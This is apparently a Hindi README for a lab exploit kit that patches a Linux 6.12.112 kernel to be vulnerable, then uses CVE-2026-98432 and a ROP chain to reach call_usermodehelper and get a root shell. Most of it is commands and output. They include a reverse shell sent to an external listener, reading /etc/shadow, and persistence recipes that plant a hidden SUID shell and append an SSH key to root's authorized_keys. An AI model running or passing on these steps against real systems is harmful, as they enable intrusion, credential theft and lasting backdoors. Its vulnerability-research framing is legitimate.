
CVE-2026-98432 लैब रूट-शेल किट (कर्नेल सहायक; स्टॉक रिमोट एक्सप्लॉइट नहीं)
यह किट एक जानबूझकर कमज़ोर बनाया गया Linux 6.12.112 कर्नेल बनाती है, जिसमें एक छोटी शोषण-सहायता शामिल है, और CVE-2026-98432 पथ को QEMU कंसोल पर एक इंटरैक्टिव रूट शेल में बदल देती है।
यह एक लैब सहायता है, कोई स्टॉक रिमोट एक्सप्लॉइट नहीं। वास्तविक CVE कोड पथ ही उपयोग किए जाते हैं:
ip_options_rcu पुनःप्रेषित-SYN-ACK पथ के माध्यम से
ip_options_build() तक पहुँचता है;skb_shared_info भ्रष्ट कर दिया जाता है;skb_release_data() जाली ubuf_info->ops->complete कॉलबैक को कॉल करता है;call_usermodehelper("/bin/sh", ...) को कॉल करती है।सहायता में ज़बरदस्ती मुक्त/जाली ऑब्जेक्ट और तैयार किया गया कॉलबैक/ROP चेन शामिल है। एक स्टॉक कमज़ोर कर्नेल पर जो चीज़ गायब है वह है विश्वसनीय समान-slab/समान-CPU पुनःप्राप्ति और पेलोड-स्टेजिंग प्रिमिटिव; यह प्रकाशित नहीं है। नीचे "स्टॉक-कर्नेल स्थिति" देखें।
/dev/kvm) की अत्यधिक अनुशंसा की जाती है; TCG काम करता है लेकिन धीमा हैsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
पहला बिल्ड Linux 6.12.112 डाउनलोड करता है, दो kfree_rcu() कॉल्स को revert करता है,
aid लागू करता है, bzImage बनाता है, patched
vmlinux से symbols/gadgets resolve करता है, फिर से बिल्ड करता है, एक initramfs pack करता है, और nokaslr के साथ QEMU boot करता है।
यदि KVM उपलब्ध नहीं है:
QEMU_ACCEL=tcg ./build.sh
(जब /dev/kvm लिखने योग्य नहीं होता है तो स्क्रिप्ट वर्तमान में स्वचालित रूप से TCG पर वापस आ जाती है; सुविधा के लिए QEMU_ACCEL वेरिएबल स्वीकार किया जाता है।)
होस्ट पर दूसरे टर्मिनल में:
python3 trigger.py 127.0.0.1 9000
गेस्ट init ने /tmp/cve98432_root.sh को एक कंसोल शेल (sh -i </dev/console) के साथ बनाया। गेस्ट लिसनर से एक ही TCP कनेक्शन पर्याप्त है। गेस्ट कंसोल पर कुछ इस तरह दिखना चाहिए:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
root_shell.py को लक्ष्य पर कॉपी करें (जो पहले से ही aid कर्नेल को बूट करता है) और
इसे उस उपयोगकर्ता के रूप में चलाएँ जो आपके पास है:
python3 root_shell.py
यह /tmp/cve98432_root.sh को रूट रिवर्स-शेल पेलोड के साथ लिखता है, दो लूपबैक लिसनर शुरू करता है (9000 ट्रिगर के लिए, 4444 शेल के लिए), aid को ट्रिगर करता है, और रूट शेल को आपके टर्मिनल से जोड़ता है:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
उपयोगी विकल्प:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
सहायता श्रृंखला machine_power_off() को केवल तब कॉल करती है जब रूट कमांड समाप्त हो जाता है।
यदि रूट कमांड कभी समाप्त नहीं होता, तो कर्नेल call_usermodehelper() में प्रतीक्षा करता है
और होस्ट चालू रहता है। इससे आप एक स्थायी रूट पथ बना सकते हैं:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
या SSH कुंजी जोड़ें और helper को सक्रिय रखें:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
sleep usermode helper (और इसलिए kernel chain) को जीवित रखता है,
इसलिए लक्ष्य बंद नहीं होता। यदि /tmp noexec/nosuid के रूप में
माउंट है, तो /tmp के बजाय /var/tmp या /root का उपयोग करें। जब sleep
समाप्त होता है, तो chain फिर से शुरू होती है और होस्ट को बंद कर देती है;
यदि आप इसे नियंत्रित करना चाहते हैं तो root के रूप में sleep प्रक्रिया को
kill करें।
payload फ़ाइल 0700 और O_EXCL|O_NOFOLLOW के साथ बनाई जाती है, और
जब तक --keep-payload न दिया जाए, उपयोग के बाद हटा दी जाती है। जब आप
root shell से बाहर निकलते हैं, तो aid chain machine_power_off() को कॉल
करती है। एक disposable VM का उपयोग करें, या यदि आपको होस्ट को चालू रखना
है तो aid_patch.py में AID_POWEROFF को संपादित करें।
chain चलती है:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
इसलिए स्क्रिप्ट हमेशा root के रूप में निष्पादित होती है।
| भाग | स्थिति |
|---|---|
नकली ip_options_rcu + ip_options_build() | CVE पथ, लेकिन आवंटन सहायता द्वारा बाध्य है |
skb_shared_info भ्रष्टाचार | सहायता tcp_v4_send_synack() में सीधे फ़ील्ड सेट करती है |
destructor_arg कॉलबैक हाईजैक | वास्तविक डाउनस्ट्रीम टियरडाउन पथ |
ROP पिवट + call_usermodehelper() | वास्तविक कर्नेल नियंत्रण-प्रवाह हाईजैक, सहायता द्वारा चरणबद्ध |
nokaslr बूट | लैब सरलीकरण; कोई KASLR लीक आवश्यक नहीं |
इस किट का अनुसरण करने वाले प्रकाशित स्वतंत्र शोध ने एक इंस्ट्रूमेंटेड कर्नेल के साथ वही बिंदु प्राप्त किया: वास्तविक OOB राइट और कॉलबैक पथ, सहायता प्राप्त फ्री/रीक्लेम और पेलोड स्टेजिंग। 2026-11-02 तक स्टॉक-कर्नेल हथियारीकृत श्रृंखला सार्वजनिक रूप से उपलब्ध नहीं है।
सहायता निरपेक्ष कर्नेल पते का उपयोग करती है क्योंकि गेस्ट nokaslr के साथ बूट होता है। aid_patch.py में मान प्रकाशित
6.12.112 लैब बिल्ड से डिफ़ॉल्ट हैं। resolve.py पैच किए गए vmlinux और
System.map को पढ़ता है और symbols.json लिखता है; फिर build.sh defines को अपडेट करता है
और पुनर्निर्माण करता है।
यदि resolve.py कोई गैजेट नहीं ढूँढ पाता (ROPgadget अनुपस्थित या अपूर्ण),
तो इसे इंस्टॉल करें और पुनः चलाएँ:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
pivot gadget को aid_patch.py में chain layout से मेल खाना चाहिए: एक
lea -0x18(%rbp), %rsp के साथ चार pops और एक ret/jmp। यदि आपके build में
अलग pivot है, तो aid_patch.py में SEND_BLOCK को समायोजित करें या मेल खाने वाला
gadget चुनें।
एक stock vulnerable kernel में विश्वसनीय, सार्वजनिक, unassisted root chain नहीं है। अवरोधक ये हैं:
ip_options_rcu को free-to-build window के भीतर
attacker-controlled bytes वाले object द्वारा reclaim किया जाना चाहिए। saved_syn object (TCP_SAVE_SYN) स्वाभाविक उम्मीदवार है, लेकिन
स्वतंत्र lab माप दिखाते हैं कि reclaim आमतौर पर किसी अन्य
option block पर पड़ता है, in-flight chunk पर नहीं।srr/rr/ts stores skb buffer के निकट offset पर चार controlled bytes देते हैं; पूर्ण 8-byte destructor_arg pointer लिखने के लिए या तो stale high dword या अधिक मजबूत primitive चाहिए।प्रकाशित Anthropic chain इन्हें एक reclaim/staging primitive से हल करती है जो जारी नहीं किया गया था। यह kit जानबूझकर control-flow demonstration पर रुकता है, बजाय यह दिखावा करने के कि stock chain काम करती है।